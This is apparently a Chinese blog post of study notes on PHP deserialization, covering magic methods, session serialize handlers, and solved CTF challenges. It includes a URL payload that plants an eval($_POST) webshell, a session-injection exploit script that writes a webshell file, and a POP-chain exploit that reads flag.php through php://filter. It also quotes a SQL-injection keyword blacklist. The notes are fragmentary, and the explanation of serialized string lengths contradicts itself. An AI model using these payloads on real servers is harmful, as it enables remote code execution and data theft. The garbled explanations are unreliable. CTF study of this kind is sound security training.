$str='O:6:"sunset":3:{s:4:"flag";s:14:"flag{asdadasd}";s:4:"name";s:8:"makabaka";s:3:"age";s:2:"18";}';
$a=unserialize($str);
var_dump($a);
总结
在上面的例子中,User
类的 __sleep()
方法返回了一个只包含 $username
属性名的数组,这意味着在序列化对象时,只有用户名会被序列化。如果你运行上面的代码,你会看到输出的序列化字符串只包含了 username
属性的值。
关于序列化后的字符串中 s:14:"Userusername";s:4:"john";
中的 s:14
,实际上是指 "Userusername" 的长度为 12 个字符,而不是 10 或 14 个字符。这是因为在 PHP 序列化字符串中,每个字符串的前面都会有一个类似 s:6:
的字符串长度标识,表示该字符串的长度为 6 个字符。这个字符串长度标识包括 s:
、冒号和数字长度,加起来占用了 4 个字符,所以实际上字符串长度标识的长度为字符串长度加 2。在您的输出结果中,s:14:"Userusername";s:4:"john";
中的
创建对象sunset
调用 __construct
序列号之后调用__destruct
销毁对象
这里可以看出在序列化之前调用了__sleep
方法然后进行销毁
<?php
highlight_file(__FILE__);class sunset {
public $name = 'makabaka'; function __construct() {
echo "调用 " . __METHOD__;
echo "<br>";
} function __destruct() {
echo "调用 " . __METHOD__;
echo "<br>";
} function __sleep() {
echo "调用 " . __METHOD__;
echo "<br>";
return array("name");
} function __wakeup() {
echo "调用 " . __METHOD__;
echo "<br>";
}
}if (isset($_POST['submit'])) {
$b = $_POST['a'];
unserialize($b);
}?><form method="POST">
<input type="text" name="a" value='O:6:"sunset":1:{s:4:"name";s:8:"makabaka";}'>
<input type="submit" name="submit" value="提交">
</form>
这里我们直接提交序列化的内容就调用了__wakeup
这里创建一个对象调用了__construct
然后echo 指向的mkk没有被定义然后调用__get()
这里调用makk()方法不存在调用__call
这是一个有关于php序列化的题目
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a= new xctf();
print(serialize($a));
?>
这里绕过__wakeup的方法就是属性值大于他之前的属性值 这里面就只有一个属性值 flag111 只要超过这个属性值就可以绕过
对上面代码进行序列化
- O 代表是一个对象
- 6 长度为6 "sunset"
- 2 表示里面有两个属性
- s: 4:name 表示属性的长度为4
- s:8:makabaka 属性的长度为8
在上面的代码中我们可以看到destruct
方法把name的东西写入flag.php
里面这里我们可以直接写入shell
但是由于进行destruct
之前会进行wakeup
方法 所以需要先绕过wakeup
这里需要增加类的属性值使大于类里面的就可以绕过>2
http://127.0.0.1/1.php/?flag=O:6:%22sunset%22:5:{s:4:%22name%22;s:41:%22%3C?php%20phpinfo();@eval($_POST[%27shell%27]);?%3E%22;s:3:%22age%22;s:2:%2218%22;}
session.save_path
设置session的存储路径session.save_handler
设定用户自定义存储函数如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)session.auto_start
指定会话模块是否在请求开始时启动一个会话session.serialize_handler
定义用来序列化/反序列化的处理器名字。默认使用php(<5.5.4)
这里汇总seesion存储路径存储一个序列化后的文件
内容为a:1:{s:4:"name";s:6:"sunset";}
其中a:1
是使用php_serialize引擎都会加上的,同时使用php_serialize会把session里面的key和value都会反序列化
- a代表的是一个数组
内容为name|s:6:"sunset";
这里name 为键值 s:6:"sunset"
是sunset序列化后的结果
php引擎存储方式为:键值名 | 序列化后的值
返回值
names:6:"sunset";
前面那个是一个特殊字符 因为php_binary
序列化的过程中,会把数据编码为二进制格式,需要把数据长度信息加入到编码数据的开头,这样在解码的时候才可以读取数据,也是为了在解码的时候确定数据的长度。实质上是不可见字符,然后可以对照ascii表
访问www.zip
文件拿到源码
- index.php
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
- check.php
<?phperror_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){ $data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
- inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
根据index.php 源码
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
前面的$_SESSION['limiti']
导致后续条件不可能成立,而inc.php
文件里面设定了指定的php解释器为php的里面session_start();
会对session文件进行解析,进行反序列化
- check.php 调用 cookie
-
inc.php文件
-
抓取数据包
通过解码发现limit为1
- EXP
<?php
highlight_file(__FILE__);
class User{
public $username='shell.php';
public $password = '<?php phpinfo();@eval($_POST["shell"]);?>';}echo $a=base64_encode("|".serialize(new User));
echo "log-"."shell.php";
然后通过抓包修改cookielimit
字段
- 修改cookie后
写入成功
然后访问inc/inc.php触发条件 在check.php
和inc/inc.php
页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化
ctfshow{1eb5b22f-96d0-45a7-bebe-bec221b32fec}
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function(); //这会直接调用到__invoke
}
}if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这里通过get方法传入一个get参数,如果没有传入pop参数然后就调用
Show
方法 显示源码,这里的思路就是在Modifier
类里面有一个include
函数如果可以调用就可以通过文件包含,包含flag.php
文件然后使用php伪协议就可以获取flag
有关Test
类的魔术方法简介就往__invoke 看
Show
类
__wakeup
在反序列化的时候会直接被触发里面的正则匹配了一些敏感的关键词 然后preg_match
函数对s ource进行访问会触发__toString
然后这个方法又会访问str里面的source 我们创建一个新的Test
类,里面没有source,然后会触发__get()
方法,函数返回的时候我们再创建一个Modifier
类 之后又会触发__invoke
方法然后用Modifier
的var读取flag.php
头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
- exp
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}class Show{
public $source;
public $str;
public function __construct()
{
$this->str=new Test();
}
}
class Test{
public $p;
public function __get($key)
{
$function = $this->p;
return $function();
}}
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));
flag{197b01ca-3562-4896-aedf-812a5686bb24}
发表评论 取消回复